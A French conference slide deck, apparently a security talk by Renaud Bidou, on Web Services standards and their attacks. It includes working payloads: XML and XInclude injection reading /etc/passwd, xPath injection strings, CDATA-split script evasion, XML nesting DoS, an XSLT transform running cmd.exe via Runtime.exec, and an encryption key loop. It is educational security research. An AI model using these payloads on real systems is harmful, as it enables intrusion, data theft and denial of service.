Attaques sur les Web Services Renaud Bidou Directeur Technique DenyAll

Slides:



Advertisements
Présentations similaires
Sécurité informatique
Advertisements

Les Web Services Schéma Directeur des Espaces numériques de Travail
« Les Mercredis du développement » Introduction Office « 12 » Présenté par Bernard Fedotoff Microsoft Regional Director Agilcom.
Université Nancy 2 - CRI Propositions de mécanisme de SSO dans un environnement d’applications web.
Transformation de documents XML
Xavier Blanc Web Services Xavier Blanc
Première expérience d’utilisation des Web Services dans SmartTools Didier Parigot Projet OASIS INRIA Sophia www-sop.inria.fr/oasis/SmartTools Journée.
- Couche 7 - Couche application. Sommaire 1)Introduction 1)DNS 1)FTP et TFTP 1)HTTP 1)SNMP 1)SMTP 1)Telnet.
Julien HERON.
Stéphanie CLAPIÉ Antoine RENARD
Les webservices Samira Silhadi-Hacid Malika Tarafi.
l'impact sur le eBusiness
ISP/ASP ISP ASP Conclusion DESS Réseaux 2000/2001
L’architecture .net et ASP.net
Exposé de Système - Informatique et Réseau
TRANSFER Alger – Serveur Web Nicolas Larrousse Septembre Petit historique du Worl Wide Web Notion dHypertexte Extension à internet par Tim Berners.
Cours 6 : Les Web Services et UDDI Mars Version 1.0 -
Cours 5 : Les Web Services et WSDL Mars Version 1.0 -
Cours 2 : Les Web Services Concepts Généraux
le langage les éléments
Xavier Tannier Yann Jacob Sécurite Web.
Manipulation d’XML avec XSL
Introduction aux services WEB
LOG 02 Bases de Données Avancées Rappels sur JSP / Servlet
Développement d’applications web
CPI/BTS 2 Programmation Web Introduction au PHP
Les Services Web Avec.NET version 1.1. Un service Web en bref… Méthodes ou objets accessible à distance via SOAP (Simple Object Access Protocol ); SOAP.
Etude des Technologies du Web services
XML-Family Web Services Description Language W.S.D.L.
UNIVERSITE CHOUAIB DOUKKALI Département des mathématiques
Le langage PHP 5.
Amélioration de la sécurité des données à l'aide de SQL Server 2005
JDBC ou comment manipuler une base de données en Java ?
Xavier Tannier Sécurite Web.
ASP.NET Par: Hugo St-Louis. C ARACTÉRISTIQUES A SP. NET Évolution, successeur plus flexible quASP (Active Server Pages). Pages web dynamiques permettant.
.Net Remoting.
Xpath XML Path language par Yves Bekkers
Architecture dun site de vente au détail1 Modèle d'un site simple de vente Lexemple du livre Ruby on Rails Partie II Java Adventure Builder Demo Réalisé.
An Introduction to distributed applications and ecommerce 1 1 Les services Web, XML et les places de marchés.
Web Services HTTP UDDI SOAP WSDL Besnik SELJIMI, Novembre 2003
Un portail éducatif (1) Les fonctions d'un portail –Point d'entrée vers une palette de services existants (intégration). –Gestion de l' identité et des.
Séminaire Service Interoperability on Context Level in Ubiquitous Computing Environments Davide Bazzi IIUF Etude de larticle: Service Interoperability.
Document élaboré à Centrale Paris par Pascal Morenton LES TECHNOLOGIES DU WEB 1. LES PHASES D UN DEPLOIEMENT DE RESEAUX 2. LE LANGAGE HTML 3. LE LANGAGE.
J2EE vs .NET Réaliser par : SEIF ENNACER BADRA && CHETOUI RIM.
Initiation au web dynamique
1 Architecture orientée service SOA Architecture orientée service SOA (Service Oriented Architecture)
Créer des packages.
Le contenu est basé aux transparents du 7 ème édition de «Software Engineering» de Ian Sommerville«Software Engineering» de Ian Sommerville B.Shishedjiev.
Enterprise Java Beans 3.0 Cours INF Bases de Données Hiver 2005, groupe 10 Stefan MARTINESCU.
Metro Web Services Ben Yaflah Marouen Dhrif Mohamed Hbib Hajlaoui Nader.
Le web service
Mastère Professionnel Systèmes de Communication et Réseaux
420-B63 Programmation Web Avancée Auteur : Frédéric Thériault 1.
Pr BELKHIR Abdelkader USTHB
Auvray Vincent Blanchy François Bonmariage Nicolas Mélon Laurent
Universal Plug and Play. Idée Connecter tout: PCs, appareils intelligents, et appareils domestiques Computer partout: Universal Plug and Play connectivité.
XML fortement adopté en tant que format indépendant d’échange de données. Utilisation de XML pour la modélisation de données structurées et non structurées.
Publication Bulletin de sécurité hors cycle MS Révision Bulletin de sécurité MS
 Formulaires HTML : traiter les entrées utilisateur
COMPARAISON ENTRE GNUTELLA ET FREENET
Module : Langage XML (21h)
Representational State Transfer - REST
21/02/2003DEA DISIC 1 Grid Computing Programming the grid: Distributed Software Components, P2P and Grid Web Services for Scientific Applications Tarak.
Web Services 17/01/2009.
LDAP (Lightweight Directory Access Protocol)
Sécurité des Web Services
Introduction aux technologies des web services en Java EE
SOAP et les RPC XML SOAP WSDL RPC. Rappels sur le XML Langage avec des balises Très lisible Pour stocker des données Séparation entre contenu et présentation.
TWP Toolkit Formation 21/10/2009.
Parquet Geoffrey 3 ARIL EXIA.CESI ARRAS. Présentation du MLD Présentation de la persistance Présentation récapitulatif du projet JSP/SERVLET MVC Cycle.
Transcription de la présentation:

Attaques sur les Web Services Renaud Bidou Directeur Technique DenyAll

Le monde merveilleux des Web Services

Que sont les Web Services ? Définition du WoldWide Web Consortium (W3C) a software system designed to support interoperable machine-to-machine interaction over a network Web Services Automatisent les interractions entre mécanismes de traitement de données accroissent la rapidité des traitements métier facilitent l’interconexion de systèmes hétérogènes

Histoire des Web Services CORBA RMI DCOM Ancêtres La famille WS-* Intégrée aux principaux frameworks Depuis 2002 .NET 1.0 & J2EE 1.0 Promue par le W3C “Standardisée” par OASIS REST Representational state transfer IN PEACE Organization for the Advancement of Structured Information Standards IBM, Microsoft, ORACLE, Sun OASIS ?

Histoire des Web Services Ancestors DCOM RMI CORBA WS-* family Intégrée auxprincipaux framewroks Depuis 2002 .NET 1.0 & J2EE 1.0 Promue par le W3C “Standardisée” par OASIS REST Representational state transfer IN PEACE OASIS ? Organization for the Advancement of Structured Information Standards IBM, Microsoft, ORACLE, Sun

Structure Fonctionnelle Applications composées de contrôlent Messages échangent Contracts Schemas contiennent décrivent appliquent limités par piloté par Politiques Services Etats Besoins Opérationels répondent à

Structure Fonctionnelle Applications composées de contrôlent Messages échangent Contracts Schemas contiennent décrivent appliquent limités par piloté par Politiques Services Etats Besoins Opérationels répondent à

Composants des Web ervices Acteurs Utilisateurs : individus utilisant une interface d’abstraction Requesters : “Clients” des Web Services Intermediary : capable de traiter une partie de la requête Providers : servent la requête Ressources Registres : fournissent la description et les points d’accès Portail : Frontal des “Requester” pour les utilisateurs Communication : Basée entièrement sur SOAP Coordination Organise le traitement entre “providers” Orchestration : 1 service appelle les autres Chorégraphie : plusieurs services en appellent d’autres

Exemple de Web Srvice Construit Vérifie la solvabilité Portail Web Service de l’Usine Banque du client Construit Vérifie la solvabilité Cherche un crédit Cherche les taux www.newcar.com Organisme de Crédit Banque centrale

UDDI : Registres de Web Services Où puis-je trouver le Service buildCar? Requester Registre UDDI L’interface est à http://.../service.wsdl Donne-moi l’interface du service Appelle le service avec les paramètres appropriés La voici Fournit le résultat Provider

Technologies XML HTTP SOAP + Langage Transport Description Messages WSDL : Schema SAML : Security assertion XACML : Politique de sécurité XKMS : Gestion des clés Messages SOAP Processing xPath : Gestion des noeuds xQuery : Extension relationnelle de xPath xPointer : Identification des parties d’un document xLink : Hyperliens dans les documents

La scéurité dans les Web services

Security Standards Overview Implémentations les plus courantes Sécurité habituelle des applications Web Deux acteurs principaux : W3C et le consortium OASIS Des dizaines de documents, standards et recommendations Des centaines de “MAY”, “SHOULD”, “IS (STRONGLY) RECOMMANDED” … XML & HTTP : Deux standards des milliers de possibilités

XML Signature Eléments clé Permet de signer tout ou partie d’un document XML Les éléments signés peuvent être internes ou externes au document Les données peuvent être transformées en amont des opérations

XML Encryption Eléments clé Chiffre tout ou partie d’un document XML Les clés de chiffrement peuvent être intégrées au document Chiffrées avec une clé Qui peut être chiffrée <EncryptedData> <EncryptionMethod/> <ds:KeyInfo> <EncryptedKey> <AgreementMethod> <ds:KeyName> <ds:RetrievalMethod> <ds:*> </ds:KeyInfo> <CipherData> <CipherValue> <CipherReference URI?> </CipherData> <EncryptionProperties> </EncryptedData> Algorithme utilisé pour le chifferment La clef est chiffrée  Block EncryptedData-like Clef de chiffrement Mécanisme de récupération de la clef Reference aux données chiffrées (peuvent être dans un autre document) Cipher

WS-Security WS-Security Nouvel en-tête + XML Signature (avec quelques limitations) + XML Encryption (avec des extensions additionnelles) + Security Tokens pour transporter des assertions Security Tokens Utilisés pour transporter les asertiosn des utilisateurs Essentiellement des informations d’authentification Peut-être n’importe quoi (données de sessions, cerrificats etc.) WS-Security ne précise pas comment valider les assertions

Processus interne de délivrance du Visa XACML & SAML SAML Security Assertion Markup Language Traite les assertions générées par XACML aux acteurs Visa Utilisé pour accéder aux ressources XACML eXtensible Access Control Markup Language Définit la politique d’accès aux ressources Applique la politique Processus interne de délivrance du Visa

Un peu trop… Authorisation en mecture Pour les utilisateurs du groupe developers Sur http://server.example.com/code/docs/guide

Attaques sur les Web Services

Principes des Injections XML Utilisées pour manipuler le contenu XML Généralement utilisés via l’interface Web des portails Name: John Doe Email: john@doe.com Address: 1024 Mountain Street Zip: 17000 ID: 100374 Role: User Frontal Web Name: John Doe Email: john@doe.com Address: 1024 Mountain Street Zip: 17000 WS de gestion des comptes

Principes des Injections XML <UserRecord> <ID>100374</ID> <Role>User</Role> <Name>John Doe</Name> <Email>john@doe.com</Email><Role>Admin</Role><Email>john@doe.com</Email> <Address>1024 Mountain Street</Address> <Zip>17000</Zip> </UserRecord> User editable fields can be accessed via the Web interface through forms Injection overwrites the “private” <Role> element

Injection XML persistante Stockée sur le “provider” Exécutée par le serveur lorsque la requête est servie Stage 1: Injection Name: John Doe <xi:include href="file:///etc/passwd" parse="text"/> Email: john@doe.com Address: 1024 Mountain Street Zip: 17000 Frontal Web WS de gestion des comptes

Injection XML persistante Stockée sur le “provider” Exécutée par le serveur lorsque la requête est servie Name /etc/passwd ;-) Email Address Zip Name: John Doe root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh Email: john@doe.com Address: 1024 Mountain Street Zip: 17000 Web Based Frontend WS de gestion des comptes Stage 2: Execution Get my personal info

Dénis de Service Basé sur la complexité du document <a1> …… <a1000> </a1000> </a4> </a3> </a2> </a1> Opérations de traitement du document 2 étapes impactant la CPU puis la mémoire C:\Temp>perl xpath.pl dos1.xml //a1 Searching //a1 in dos1.xml... 1 found Out of memory! CPU 1. Recherche Memory 2. Stockage

Injection du DoS Via le Portail Directement sur le Service SOAP <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/"> <soapenv:Header/> <soapenv:Body> <tem:Login> <tem:loginID> John Doe<a1>….</a1> </tem:loginID> <tem:password> muahahah </tem:password> </tem:Login> </soapenv:Body> </soapenv:Envelope> Frontal Web WS de gestion des comptes HTML Login: John Doe <a1>…</a1> Password: ********

Evasion Le champs <![CDATA[]]> Utilisé pour autoriser le transport de tout type de données en XML Les données contenues dans un champ <![CDATA[]]> ne doivent pas être analysées ni traitées Elles sont retranscrites àl’identique par le parser Frontal Web WS de gestion des comptes <SUPPORT_ENTRY> <EMAIL>john@due.com</EMAIL> <TEXT> <![CDATA[<S]]>CRIP<![CDATA[T>]]> alert(document.cookie); <![CDATA[</S]]>CRIP<![CDATA[T>]]> </TEXT> </SUPPORT_ENTRY> Inspection: Ok <SCRIPT> alert(document.cookie); </SCRIPT>

Injection xPath L’équivalent de SQL Injection de données pour corrompre une expression xPath Nouvelle difficulté : pas de commentaires inline Exemple Authentification basée sur l’expression: //user[name='$login' and pass='$pass']/account/text() Injection $login = whatever' or '1'='1' or 'a'='b $pass = whatever Exploitation de la précédence de l’opérateur AND L’expression devient //user[name='whatever' or '1'='1' or 'a'='b' and pass=‘whatever']/account/text() TRUE OR FALSE = TRUE

Injection xPath: PoC users.xml xpathauth.pl <users> User List <user auth:type="admin"> <id>1</id> <name>Administrator</name> <login>admin</login> <pass>admin</pass> </user> <user auth:type="user"> <id>1001</id> <name>Renaud</name> <login>renaud</login> <pass>bidou</pass> <!-- Looser --> <user auth:type="user" auth:comment="looser"> <id>1002</id> <name>HB</name> <login>hb</login> <pass>isback</pass> <id>1003</id> <name>Jean Bon</name> <login>jean</login> <pass>rigolo</pass> <?PI your mother?> </users> xpathauth.pl #!/usr/bin/perl use XML::XPath; use XML::XPath::XMLParser; my $login = $ARGV[0]; my $pass = $ARGV[1]; my $userfile = "users.xml"; my $expr = "//user[login=\'$login\' and pass=\'$pass\']"; my $xp = XML::XPath->new(filename => $userfile); my $nodeset = $xp->find($expr); if($nodeset->size) { print "Authentication successful\n"; } else { print "Authentication failed\n"; }

Injection xPath: PoC DEMO

Dump d’un document XML L’opérateur | operator dans xPath Opérateur identique à UNION mais plus flexible Effectue des opérations séquentielles Exploite l’absence de restrictions d’accès aux parties d’un document Utilisation dans une injection xPath Item description query via xPath: //item[itemID=‘$id’]/description/text() Inject $itemID = whatever‘] | /* | //item[itemID=‘whatever Expression becomes //item[itemID=‘whatever‘] | /* | //item[itemID=‘whatever’]/description/text() Matches all nodes Require prior knowledge of expression

Blind xPath Injection Les bases Publiée* par Amit Klein Permet de récupérer l’intégralité d’un document XML Sans connaissance de la structure de l’expression xPath Mode opératoire Trouver un injection “standard” Replacer le prédicat ‘1’=‘1’ par une expression E dont le résultat est binaire E est utilisé pour évaluer : Chaque bit du nom ou de la valeur d’un élément Le nombre d’éléments de chaque type (élément, texte, PI etc.) Contraintes Lent (à-la Brute Force) Démontré mais pas de PoC publiquement disponible * Blind xPath Injection – Amit Klein - http://www.packetstormsecurity.org/papers/bypass/Blind_XPath_Injection_20040518.pdf

Blind Injection xPath : PoC DEMO

Attaques sur SOAP

DoS sur SOAP Techniques habituelles SOAP est généralement considéré comme HTTP + XML Vulnérable aux DoS IP/TCP/HTTP Très sensible aux floods applicatifs Rarement dimensionné pour traité des milliers de requêtes par seconde Vulnérable aux DoS XML Anomalies Jouer avec les en-têtes est une bonne idée Dépend des versions de SOAP supportées et de leur impélmentation Attachements SOAP SOAP peut transporter des données externes à sa structure XML Devient un message MIME multipart dont la première partie est de type text/xml Les gros attachements peuvent provoquer un épuiseme,t des ressources CPU/mémoire

Rejeu de messages SOAP SOAP ne gère pas les états SOAP est un protocole d’échange de messages L’implémente pas de mécanisme de suivi et de contrôle de session Il n’y a pas de relation entre les messages Les messages peuvent être rejoués à volonté Scenarios de rejeu Rejeu de messages d’authentification capturés Rejeu d’actions (transfert financier, main gagnante au poker etc.) DoS…

Attaques sur … WS-Security

Exploitation de la transformation XSLT Explicitement identifiée dans XML Signature, mais optionnelle Fournit de puissantes fonctions de formatage avant signature Problème La plupart des impélmentations XSLT fournissent des appels système Le serveut peut être contraint à exécuter du code avant de valider la signature Publié* et démontré par Bradley W. Hill Utilisation avec XML encryption XML Encryption utilise des transformationss dans les éléments <KeyInfo> et <RetrievalMethod> Même cause, même tarif * Command Injection in XML Signatures and Encryption – Bradley W. Hill - http://www.isecpartners.com/files/XMLDSIG_Command_Injection.pdf

Transformation XSLT: PoC Code de transformation malicieux <Transforms> <Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/> <Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116"> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt=http://xml.apache.org/xalan/java/java.lang.Runtime xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object" exclude-result-prefixes= "rt,ob"> <xsl:template match="/"> <xsl:variable name="runtimeObject" select="rt:getRuntime()"/> <xsl:variable name="command" select="rt:exec($runtimeObject,&apos;c:\Windows\system32\cmd.exe&apos;)"/> <xsl:variable name="commandAsString" select="ob:toString($command)"/> <xsl:value-of select="$commandAsString"/> </xsl:template> </xsl:stylesheet> </Transform> </Transforms>

Boucle de clefs de chiffrement Le bloc <EncryptedKey> Extension du type <EncryptedDataType> Contient un bloc <KeyInfo> Permet de référencer une clef externe via <RetrievalMethod> L’ataque Clé A est chiffrée avec Clé B Clé B est référencée comme externe à l’élément Clé B est chiffrée avec Clé A Clé A est référencée comme externe à l’élément Identifiée dans le standards OASIS !!! Ne propose pas de solution ni de contournement Recommande uniquement de surveiller l’utilisation des ressources…

Boucle de clef de chiffrement: PoC <EncryptedKey Id='Key1' xmlns='http://www.w3.org/2001/04/xmlenc#'> <EncryptionMethod Algorithm='http://www.w3.org/2001/04/xmlenc#aes128-cbc'/> <ds:KeyInfo xmlns:ds='http://www.w3.org/2000/09/xmldsig#'> <ds:RetrievalMethod URI='#Key2'Type="http://www.w3.org/2001/04/xmlenc#EncryptedKey"/> <ds:KeyName>No Way Out</ds:KeyName> </ds:KeyInfo> <CipherData><CipherValue>DEADBEEF</CipherValue></CipherData> <ReferenceList> <DataReference URI='#Key2'/> </ReferenceList> <CarriedKeyName>I Said No Way</CarriedKeyName> </EncryptedKey> <EncryptedKey Id='Key2' xmlns='http://www.w3.org/2001/04/xmlenc#'> <EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#aes128-cbc"/> <ds:RetrievalMethod URI='#Key1' Type="http://www.w3.org/2001/04/xmlenc#EncryptedKey"/> <ds:KeyName>I Said No Way</ds:KeyName> <CipherData><CipherValue>xyzabc</CipherValue></CipherData> <DataReference URI='#Key1'/> <CarriedKeyName>No Way Out</CarriedKeyName> Chiffrée Avec Clé 2 Située Ici

Encryption Key Loop PoC Clé 1 <EncryptedKey Id='Key1' xmlns='http://www.w3.org/2001/04/xmlenc#'> <EncryptionMethod Algorithm='http://www.w3.org/2001/04/xmlenc#aes128-cbc'/> <ds:KeyInfo xmlns:ds='http://www.w3.org/2000/09/xmldsig#'> <ds:RetrievalMethod URI='#Key2'Type="http://www.w3.org/2001/04/xmlenc#EncryptedKey"/> <ds:KeyName>No Way Out</ds:KeyName> </ds:KeyInfo> <CipherData><CipherValue>DEADBEEF</CipherValue></CipherData> <ReferenceList> <DataReference URI='#Key2'/> </ReferenceList> <CarriedKeyName>I Said No Way</CarriedKeyName> </EncryptedKey> <EncryptedKey Id='Key2' xmlns='http://www.w3.org/2001/04/xmlenc#'> <EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#aes128-cbc"/> <ds:RetrievalMethod URI='#Key1' Type="http://www.w3.org/2001/04/xmlenc#EncryptedKey"/> <ds:KeyName>I Said No Way</ds:KeyName> <CipherData><CipherValue>xyzabc</CipherValue></CipherData> <DataReference URI='#Key1'/> <CarriedKeyName>No Way Out</CarriedKeyName> Clé 2 Chiffrée Avec Clé 1 Située Ici

Conclusion

Conclusion Les Web Services sont là Ils sont partout Inutile de discuter Ils sont partout Même là où vous l’ignorez Ils sont vulnérables Et les vecteurs d’attaque sont connus Les attaques sont connues Et déjà largement utilisées

Conclusion Mais maintenant … Vous savez Et çà fait toute la différence

Thank you !